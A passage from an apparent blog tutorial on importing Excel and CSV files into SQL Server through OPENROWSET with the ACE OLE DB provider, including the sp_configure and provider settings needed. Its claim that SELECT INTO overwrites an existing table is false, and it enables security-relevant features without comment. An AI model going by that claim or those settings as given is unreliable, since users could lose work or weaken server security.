'Data Source=c:\downloads\ImportTest-XLS.xls;Extended Properties=Excel 8.0')...[Sheet1$]

We get the same error message again because now we are using the wrong provider.  Let's change that:

SELECT * FROM OPENROWSET(
'Microsoft.ACE.OLEDB.12.0',
'EXCEL 12.0;Database=c:\downloads\ImportTest-XLS.xls;HDR=YES;IMEX=1',
'SELECT * FROM [sheet1$]');

Now we get another error message, though thankfully less obscure:

Msg 15281, Level 16, State 1, Line 1
SQL Server blocked access to STATEMENT 'OpenRowset/OpenDatasource' of component 'Ad Hoc Distributed Queries' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'Ad Hoc Distributed Queries' by using sp_configure. For more information about enabling 'Ad Hoc Distributed Queries', see "Surface Area Configuration" in SQL Server Books Online.
 

OK.  Let's enable that, shall we?

sp_configure 'show advanced options', 1;
RECONFIGURE;
GO
sp_configure 'Ad Hoc Distributed Queries', 1;
RECONFIGURE;
GO

Let's try again:

Msg 7399, Level 16, State 1, Line 1
The OLE DB provider "Microsoft.ACE.OLEDB.12.0" for linked server "(null)" reported an error. Access denied.
Msg 7350, Level 16, State 2, Line 1
Cannot get the column information from OLE DB provider "Microsoft.ACE.OLEDB.12.0" for linked server "(null)".

Oh for Christ's sake.  What now?

There are some things that need to be enabled on the provider itself:

USE [master]
GO
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1
GO
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1
GO
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'NestedQueries', 1
GO
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'NonTransactedUpdates', 1
GO

Most articles I've seen recommend just the first two settings, but in all my experiments I just couldn't get it to work.  I found an article that mentioned the last two settings and had success with that.  Your mileage may vary.

Let's try it again!

SELECT * FROM OPENROWSET(
'Microsoft.ACE.OLEDB.12.0',
'EXCEL 12.0;Database=c:\downloads\ImportTest-XLS.xls;HDR=YES;IMEX=1',
'SELECT * FROM [sheet1$]');

Holy snapping duckshit!  It WORKS!

You'll also be able to read .XLSX files:

SELECT * FROM OPENROWSET(
'Microsoft.ACE.OLEDB.12.0',
'EXCEL 12.0;Database=c:\downloads\ImportTest-XLSX.xlsx;HDR=YES;IMEX=1',
'SELECT * FROM [sheet1$]');

And CSV files, though I suspect you'd be able to do this without the driver:

 SELECT * FROM OPENROWSET(
'Microsoft.ACE.OLEDB.12.0',
'Text;Database=C:\Downloads\;HDR=Yes;',
'SELECT * FROM [ImportTest-CSV.csv]');

Note the syntax for a CSV is slightly different.  Also note that in all of them, the last parameter makes reference to the sheet name.  So make sure you've got that last part right.

So, in summary:

1. Remove any existing Office components and reboot.
2. Install the Microsoft Access Database Engine 2010 Redistributable and reboot
3. Run the following TSQL commands:

USE [master]
GO

sp_configure 'show advanced options', 1;
RECONFIGURE;
GO
sp_configure 'Ad Hoc Distributed Queries', 1;
RECONFIGURE;
GO

EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1
GO
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1
GO
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'NestedQueries', 1
GO
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'NonTransactedUpdates', 1
GO

And you are good to go!!!!!!!!!!!!!!!! 

Now that you can actually read the damn files, you can import them into a table:

SELECT * INTO SomeTable
FROM OPENROWSET(
'Microsoft.ACE.OLEDB.12.0',
'EXCEL 12.0;Database=c:\downloads\ImportTest-XLS.xls;HDR=YES;IMEX=1',
'SELECT * FROM [sheet1$]');

Note that the only change in the query is the "select into" part.  The rest is the same, and this applies to the XLSX or CSV import.

The SELECT INTO will overwrite your table, so if the plan is to add rows to it, use this sort of query:

INSERT INTO SomeTable
SELECT * FROM
OPENROWSET(
'Microsoft.ACE.OLEDB.12.0',
'EXCEL 12.0;Database=c:\downloads\ImportTest-XLSX.xlsx;HDR=YES;IMEX=1',
'SELECT * FROM [sheet1$]');